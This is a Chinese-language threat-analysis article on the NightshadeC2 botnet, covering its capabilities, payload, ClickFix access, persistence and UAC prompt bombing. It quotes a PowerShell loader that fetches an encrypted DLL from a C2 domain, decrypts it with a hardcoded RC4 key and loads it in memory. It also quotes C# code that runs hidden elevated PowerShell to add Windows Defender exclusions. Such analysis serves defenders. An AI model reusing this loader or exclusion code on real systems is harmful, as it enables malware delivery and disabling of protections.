1. 簡介

本報告針對 NightshadeC2 botnet 進行詳盡的技術分析,此 botnet 是近期發現的威脅,採用複雜的技術來規避偵測並維持常駐。本分析著重於 botnet 的運作機制、Payload 傳遞、迴避策略以及常駐方法,並從觀察到的樣本及其行為特性中汲取見解。我們的目標是剖析 NightshadeC2 的技術複雜性,更深入地理解其能力以及助長其惡意攻擊的底層程式建構。本研究旨在為 botnet 功能及防禦措施的知識庫做出貢獻。

NightshadeC2 Botnet技術全解析:從Payload到UAC Prompt Bombing的完整攻擊鏈 | 資訊安全新聞

2. NightshadeC2 概述及能力

NightshadeC2 是一種多功能 botnet,觀察到有 C 語言和 Python 兩種變體,各自展現出獨特的通訊協定與功能範圍。C 語言變體主要透過 TCP port 7777、33336、33337 和 443 進行通訊,而 Python 變體則主要使用 TCP port 80。這種雙語言方法顯示其適應性的開發策略,可能允許 Threat actor 運用每種語言的不同優勢,來針對特定的攻擊階段或目標環境。此 botnet 展現了廣泛的能力,能夠全面控制受感染的系統並竊取資料。這些能力包括透過 Command Prompt 或 PowerShell 建立 Reverse shell、下載並執行任意 DLL 或 EXE 檔案,以及用於銷毀軌跡的自我刪除機制。此外,NightshadeC2 支援遠端控制功能、螢幕截圖以及隱藏瀏覽器的操作,這些皆可用於各種非法攻擊而不會驚動受害者。其一個重要特點是 keylogging 和剪貼簿內容擷取能力,允許在使用者不知情下收集敏感的使用者輸入。C 語言變體將這些能力擴展到能從 Gecko 和 Chromium 兩種瀏覽器中提取瀏覽器密碼和 cookie,顯示其著重於認證收集。相較之下,Python 變體的功能集較為有限,主要限於自我刪除、下載/執行和 Reverse shell 操作,這表明它在 botnet 生態系中可能是一種較輕量級或初步感染的工具。

3. Payload 分析: updater.exe

被識別為 updater.exe 的初始 Payload 是 NightshadeC2 感染程序的關鍵部分。此可執行檔經過封裝,並使用 shell32.dll 的 module stomping 技術來執行核心 NightshadeC2 Payload,這種技術旨在透過覆寫記憶體中的合法程式碼來繞過傳統安全措施。執行時,惡意軟體首先查詢外部服務 ip-api.com ,以收集受害者外部 IP 位址的資訊,包括國家和 VPN 狀態。此偵察步驟可能是作為一種反分析措施,讓 botnet 避免在已知的資安研究或沙箱環境中執行。為確保持續運作並防止受感染電腦進入休眠狀態,惡意軟體會呼叫 SetThreadExecutionState API 並帶上特定旗標: ES_CONTINUOUS | ES_AWAYMODE_REQUIRED | ES_DISPLAY_REQUIRED | ES_SYSTEM_REQUIRED 。這確保系統保持運作狀態,有助於不間斷的惡意攻擊。隨後會建立一個新執行緒,以建立持久的剪貼簿擷取和 keylogging 能力。收集到的剪貼簿內容和鍵盤輸入會被仔細地寫入隱藏的日誌檔案,其更新是動態生成的並在不同樣本間有所差異。例如,如果 process token 權限提高,日誌可能會儲存在 %LOCALAPPDATA%\JohniiDepp ,而未提高權限的程序則可能使用 %LOCALAPPDATA%\LuchiiSvet 。keylogging 和剪貼簿擷取機制是透過使用 CreateWindowExW API 建立一個隱藏視窗,並透過 RegisterClassEx_ 註冊 Callback function 來處理訊息。該視窗被設定為 WS_EX_TOOLWINDOW 以將其從工具列和 ALT+TAB 中隱藏,並設定為 WS_OVERLAPPED 但沒有 WS_VISIBLE 旗標以確保其保持隱形。接著呼叫 AddClipboardFormatListener API,使視窗能夠接收 WM_CLIPBOARDUPDATE 訊息,從而擷取剪貼簿變更。keylogger 特別檢查以確保不會記錄常見的複製/貼上組合鍵(Ctrl+c 或 Ctrl+v),將虛擬按鍵轉換為 Unicode 字元,並將它們與最上層視窗的標題(透過 GetWindowTextW 取得)一起記錄,為 Threat actor 提供關於擷取鍵盤輸入來源的環境。

4. 初始存取途徑

NightshadeC2 botnet 的初始感染途徑涉及社交工程策略,並結合利用使用者互動。一種觀察到的方法是 ClickFix 初始存取途徑,受害者會看到一個 CAPTCHA 並被指示在 Windows Run Prompt 中執行一個惡意命令。此方法利用使用者信任和看似合法的驗證程序,來欺騙受害者自我感染他們的系統。此外,已在 OSINT 來源中發現 Payload,透過惡意改造的合法軟體應用程式進行散布,例如 Advanced IP Scanner、Express VPN、HyperSecure VPN、CCleaner 和 Everything。這種透過看似無害的軟體進行的廣泛分發增加了 botnet 的潛在影響範圍,並使毫無戒心的使用者更難以偵測。

5. 第二階段 PowerShell 分析

NightshadeC2 感染鏈的第二階段涉及一個複雜的 PowerShell 腳本,該腳本作為最終 Payload 的載入器。此腳本負責下載、解密並以反射方式將最終的 C2 變體載入到記憶體中。 adversaries 在此階段使用 PowerShell 是一種常見的策略,因為它是一種在 Windows 系統上原生可用的強大腳本語言,使其在不影響合法系統功能的情況下難以被封鎖。以下程式碼片段說明了此 PowerShell 載入器的關鍵部分 [1]:

  1. $baseParts = @(\'https\', \':\\', \'bila\', \'skf\', \'.com\')
  2. $urlDll = Join-StringParts ($baseParts + @(\'/apis\', \'/a\', \'/a\'))
  3. $keyBytes = [Text.Encoding]::ASCII.GetBytes(\'Piv@ass!\')
  4. Wait-RandomDelay
  5. $encDll = Get-DownloadData $urlDll
  6. $dllBytes = Invoke-RC4 $encDll $keyBytes
  7. Write-Host \'[+] Decrypted DLL bytes: $($dllBytes.Length)\'
  8. $hdr = $($dllBytes[0..1] -join \' \')
  9. Write-Host \'[!] DLL header bytes $($hdr)\'
  10. Wait-RandomDelay
  11. try {
  12. $assembly = [Reflection.Assembly]::Load([byte[]] $dllBytes)
  13. Write-Host \'[+] Loaded assembly: $($assembly.FullName)\'
  14. } catch {
  15. Write-Host \'[!] Assembly.Load failed: $_\'
  16. exit 1
  17. }
  18. # Invoke the payload method
  19. $typeName = \'ExclusionAndAutorun.PayloadExecutor\'
  20. $method = $assembly.GetType($typeName).GetMethod(\'Run\')
  21. Write-Host \'[+] Invoking payload\'
  22. Wait-RandomDelay
  23. $result = $method.Invoke($null, @())
  24. Write-Host \'[+] Payload result: $($result)\'

5.1. PowerShell 腳本分析

此 PowerShell 腳本首先使用 $baseParts 以零散的方式建構 Command and Control (C2) 伺服器 URL。這種簡單的混淆技術旨在繞過基本的基於字串的偵測。 Join-StringParts 函式雖然不是標準的 PowerShell cmdlet,但推測是將這些片段串聯成一個完整的 URL,例如 https://bilaskf.com/apis/a/a ,並從中下載加密的 DLL Payload。腳本接著定義一個 RC4 解密 key, Piv@ass! ,它被轉換為一個位元組陣列以用於 Invoke-RC4 函式。這個 hardcoded key 用於解密下載的資料,顯示出真正的 DLL Payload。解密後,透過檢查解密後 DLL 的前兩個位元組來執行一個基本的完整性檢查,預期會有標準的 Portable Executable (PE) header (MZ)。此檢查有助於確保下載的資料是有效的可執行檔後才繼續執行。這裡使用的一種關鍵迴避技術是使用 [Reflection.Assembly]::Load([byte[]] $dllBytes) 將 DLL 載入到記憶體中。透過將 DLL 直接載入到記憶體,惡意軟體避免了將惡意可執行檔寫入磁碟,從而繞過基於檔案的防毒軟體掃描和依賴磁碟 Artifact 的數位鑑識分析。該腳本包含一個 try-catch 區塊,以優雅地處理組件載入期間的潛在失敗,防止 Crash 並允許潛在的錯誤報告或替代執行更新。最後,腳本在載入的組件中識別一個特定的類別 ExclusionAndAutorun.PayloadExecutor 及其 Run 方法。該方法封裝了最終階段 Payload 的核心邏輯,隨後被反射性地呼叫。這種模組化的方法允許 Threat actor 在不大幅修改載入器腳本的情況下更新或更改最終 Payload。此 PowerShell 載入器的整體流程旨在實現隱匿和韌性,確保 NightshadeC2 botnet 在受感染系統上的成功傳遞和執行。

PowerShell 載入器的執行流程可視覺化如下:

graph TD A[Start] --> B(Construct URL); B --> C(Download Encrypted DLL); C --> D(Decrypt DLL RC4); D --> E{Check DLL Header?}; E -- Valid --> F(Load DLL into Memory); E -- Invalid --> G[Exit Error]; F --> H(Identify Payload Executor); H --> I(Invoke Payload Method); I --> J[End]; G --> J;

6. .NET Based Loader 分析

除了 PowerShell 階段,NightshadeC2 還利用一個 .NET-based loader,很可能以 C# 編寫,來管理關鍵的迴避和常駐機制,特別是針對 Windows Defender 和使用者帳戶控制 (User Account Control, UAC) 繞過。此載入器在程式化地與作業系統互動以達成其目標方面至關重要。以下 C# 程式碼片段說明了此載入器如何啟動一個 PowerShell 程序來為 botnet 的元件新增排除項目 [1]:

  1. processStartInfo.FileName = "powershell.exe";
  2. processStartInfo.Arguments = "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"" + text + "\"";
  3. processStartInfo.UseShellExecute = true;
  4. processStartInfo.Verb = "runas";
  5. processStartInfo.CreateNoWindow = true;
  6. processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  7. using (Process process = Process.Start(processStartInfo))
  8. {
  9. process.WaitForExit();
  10. int exitCode = process.ExitCode;
  11. flag = exitCode == 0;
  12. }
  13. return flag;

6.1. C# 程式碼片段分析

此 C# 程式碼片段展示了載入器能夠啟動一個帶有特定參數的 PowerShell 程序,旨在實現隱匿和提升權限。 processStartInfo.FileName 被設定為 powershell.exe ,表示目標可執行檔。 processStartInfo.Arguments 經過精心設計,包含數個旗標: -WindowStyle Hidden 確保 PowerShell 視窗保持不可見,維持隱匿性; -NoProfile 防止載入使用者設定檔,這可以加快執行速度並避免偵測;以及 -ExecutionPolicy Bypass 允許執行未簽署的腳本,這是惡意軟體運行任意程式碼的常見技術。核心惡意命令嵌入在 -Command 參數中,其中 text 變數(包含實際的 PowerShell 排除命令)被傳遞。使用 processStartInfo.UseShellExecute = true; processStartInfo.Verb = "runas"; 對於嘗試以系統管理員權限運行 PowerShell 程序至關重要,這對於修改 Windows Defender 的排除項目是必要的。此外, processStartInfo.CreateNoWindow = true; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; 透過確保沒有可見視窗被建立來強化隱匿性。啟動 PowerShell 程序後,載入器使用 process.WaitForExit(); 等待其完成並擷取 exitCode 。成功的執行由 exit code 為 0 表示。此機制是 NightshadeC2 botnet 能夠透過排除規則以程式化方式停用 Windows Defender 的即時防護,從而實現常駐和規避偵測的核心。該文章提到一種「UAC Prompt Bombing」技術,它可能利用此核心程序執行邏輯:如果 PowerShell 命令失敗(例如,因為缺乏即時權限提升),載入器可能會重複嘗試執行它,迫使持續出現 UAC 提示,直到使用者最終授予權限,從而允許應用排除項目並完全感染系統。

.NET loader 和 PowerShell 之間的互動可圖示如下:

graph TD A[Start] --> B(Initialize ProcessStartInfo); B --> C(Set FileName to powershell.exe); C --> D(Set Arguments for PowerShell Command); D --> E(Set WindowStyle Hidden); E --> F(Set ExecutionPolicy Bypass); F --> G(Set Verb to runas); G --> H(Start PowerShell Process); H --> I(Wait for Process Exit); I --> J{Get Exit Code}; J -- Exit Code == 0 --> K[Success - Exclusion Applied]; J -- Exit Code != 0 --> L[Failure - UAC Prompt Bombing Loop]; K --> M[End]; L --> H;

7. 常駐機制

為確保其在受感染系統上的持續存在,NightshadeC2 採用了幾種常駐機制,主要利用 Windows 登錄檔。此 botnet 使用 Winlogon RunOnce Active Setup 登錄檔 key 來建立常駐。這些方法被惡意軟體常用來確保惡意 Payload 在每次系統啟動或使用者登入時都會被執行。例如, Winlogon 中的項目可以控制在系統啟動時運行的程式,而 RunOnce Active Setup 則分別旨在在一次性或使用者登入時執行命令。最終階段的 Payload 是以一個特定的參數 0x8c41db6c 啟動,這可能作為一個唯一的識別碼或一個旗標,以繞過研究環境或沙箱中的分析。透過策略性地將其執行命令放置在這些關鍵的登錄檔位置,NightshadeC2 確保即使在重新開機後也能重新建立對受感染系統的控制,使其成為一個具韌性的威脅。

8. 沙箱規避概念驗證 (PoC)

NightshadeC2 設計的一個重要面向是其強大的沙箱迴避能力。已開發一個概念驗證 (PoC) 來證明 botnet 如何繞過常見的安全措施。此 PoC 揭示 botnet 可以透過停止 Windows Defender 服務來成功規避偵測。此外,它利用使用者與使用者帳戶控制 (UAC) 提示的互動。此技術被稱為「UAC Prompt Bombing」,涉及反覆向使用者呈現 UAC 提示。如果使用者在 UAC 提示上點擊「顯示詳細資料」,他們可以看到 botnet 打算執行的惡意 PowerShell 命令。然而,如果使用者選擇「否」來拒絕提示,botnet 會繼續觸發重複的提示,直到使用者最終選擇「是」。這種持續的提示是一種社交工程策略,旨在消磨使用者的抵抗,最終強迫他們授予必要的權限,讓 botnet 應用其 Windows Defender 排除規則並完全感染系統。這凸顯了使用者行為的一個關鍵漏洞,以及此類社交工程策略在繞過安全控制方面的有效性。

9. 結論

NightshadeC2 botnet 代表了一種複雜且具適應性的威脅,利用混淆、記憶體內執行和社交工程的組合來實現其目標。其雙語言變體(C 和 Python)展示了靈活的開發方法,而其廣泛的能力,從 Reverse shell 到 keylogging 和認證收集,突顯了其造成重大損害的潛力。對其 Payload 傳遞(特別是 PowerShell 和 .NET-based loader)的詳細分析揭示了一個設計精良的系統,旨在實現隱匿和常駐。使用反射性載入和 UAC Prompt Bombing 突顯了 botnet 的高級迴避技術,使得傳統的安全解決方案難以偵測和緩解。理解這些技術複雜性對於開發有效的反制措施和增強系統對抗此類不斷演變的威脅的韌性至關重要。未來研究應著重於開發能夠識別和中和類似記憶體內和基於使用者互動的迴避策略的主動偵測機制。